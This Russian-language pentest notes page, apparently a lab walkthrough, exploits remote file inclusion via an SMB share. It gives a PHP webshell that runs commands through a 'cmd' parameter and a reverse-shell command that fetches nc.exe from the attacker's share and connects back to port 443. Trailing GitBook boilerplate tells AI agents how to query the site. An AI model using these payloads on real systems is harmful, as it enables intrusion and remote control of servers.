> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md).

# RFI SMB Server

#### Тест RFI через удалённый веб-сервер:

Мы попытались загрузить удалённый файл через URL `?lang=http://10.10.14.3/index.html` указывающий на наш локальный веб-сервер, запущенный на Python3.

```bash
python3 -m http.server 80

```

```url
?lang=http://10.10.14.3/index.html

```

но это не сработало.

<figure><img src="/files/267bcb81c38606f312cbcadb10b66e3fe59d2ac1" alt="" width="518"><figcaption></figcaption></figure>

**Создание SMB-сервера:** Мы создали локальный SMB-сервер с помощью `smbserver.py` и расшарили текущий каталог:

```bash
smbserver.py share $(pwd) -smb2support

```

Затем мы попытались загрузить файл с SMB-сервера, изменив параметр `lang`

```bash
?lang=/10.10.14.3/share/index.html

```

* На этот раз сервер корректно интерпретировал наш файл `index.html`, отображая его содержимое ("Hello World").

<figure><img src="/files/4159abb76327b20d7e58f1d12bfebf3509c99354" alt="" width="563"><figcaption></figcaption></figure>

**Создание PHP webshell-файла (`cmd.php)`** Мы создали файл `cmd.php` на нашем SMB-сервере для выполнения команд удалённо через параметр `cmd`:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

```

**Выполнение команд через SMB**

```bash
//10.10.14.3/share/cmd.php&cmd=<command>

```

Используя URL ниже, мы выполнили команду `whoami`:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami

```

<figure><img src="/files/5d3af524c687bf697c9ff5fb925d841b144a9cee" alt="" width="563"><figcaption></figcaption></figure>

### Обратная оболочка (nc.exe)

**Загрузка `nc.exe` для обратной оболочки:**/ Мы получили `nc.exe` бинарный файл из инструментов fuzzing в `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` и скопировали его в рабочий каталог.

```bash
locate nc.exe
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

```

**Прослушивание порта 443:**/ Мы настроили `nc` слушатель на порту 443:

```bash
rlwrap nc -nvlp 443

```

**Выполнение команд обратной оболочки через SMB:**/ Затем мы запустили обратную оболочку, указав параметр `cmd` на наш файл

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443

```

Таким образом мы получили обратную оболочку на нашей машине.

<figure><img src="/files/03343ccce66bcf014165a037d169a9659593149d" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
